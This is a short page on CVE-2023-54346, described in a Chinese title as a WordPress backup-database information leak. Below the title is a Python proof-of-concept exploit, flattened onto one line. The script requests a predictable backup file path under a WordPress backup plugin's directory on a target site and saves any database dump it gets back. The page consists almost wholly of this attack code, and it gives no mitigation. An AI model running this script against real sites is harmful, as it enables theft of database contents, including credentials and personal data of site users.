CVE-2023-54346: WordPress备份数据库信息泄露漏洞

import requests import sys # CVE-2023-54346 Proof of Concept # This script attempts to download database backups from a vulnerable WordPress site. def check_vulnerability(target_url): # Common predictable path for the vulnerable plugin # Attackers would need to enumerate the exact filename, often found in logs or config backup_url = f"{target_url}/wp-content/plugins/backup-backup/backups/backup_database.sql" print(f"[+] Checking target: {target_url}") print(f"[+] Attempting to download: {backup_url}") try: response = requests.get(backup_url, timeout=10) if response.status_code == 200: print("[!] SUCCESS: Backup file downloaded!") print(f"[!] File size: {len(response.content)} bytes") # Save the file with open("dumped_backup.sql", "wb") as f: f.write(response.content) print("[!] Saved as 'dumped_backup.sql'") else: print(f"[-] Failed. HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <http://target_url>") else: check_vulnerability(sys.argv[1])